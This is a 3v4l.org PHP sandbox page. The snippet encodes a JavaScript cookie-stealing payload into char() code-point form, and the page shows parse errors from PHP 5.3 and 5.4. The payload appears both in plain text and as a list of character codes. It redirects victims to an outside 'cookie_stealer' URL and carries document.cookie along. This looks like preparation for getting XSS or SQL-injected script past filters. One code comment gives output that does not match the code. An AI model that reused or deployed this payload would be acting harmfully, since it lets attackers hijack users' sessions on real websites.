3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("<script language='JavaScript'>location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>");//outputs char(60,98,114,62) echo "\n\n\n\"; echo chr(60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,39,74,97,118,97,83,99,114,105,112,116,39,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,115,107,114,117,98,98,101,108,116,114,97,110,103,46,116,49,53,46,111,114,103,47,97,100,118,95,99,111,111,107,105,101,95,115,116,101,97,108,101,114,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62); ?>
Output for 5.4.0 - 5.4.27
Parse error: syntax error, unexpected end of file, expecting variable (T_VARIABLE) or ${ (T_DOLLAR_OPEN_CURLY_BRACES) or {$ (T_CURLY_OPEN) in /in/X4n94 on line 20
Process exited with code 255.
Output for 5.3.0 - 5.3.28
Parse error: syntax error, unexpected $end, expecting T_VARIABLE or T_DOLLAR_OPEN_CURLY_BRACES or T_CURLY_OPEN in /in/X4n94 on line 20
Process exited with code 255.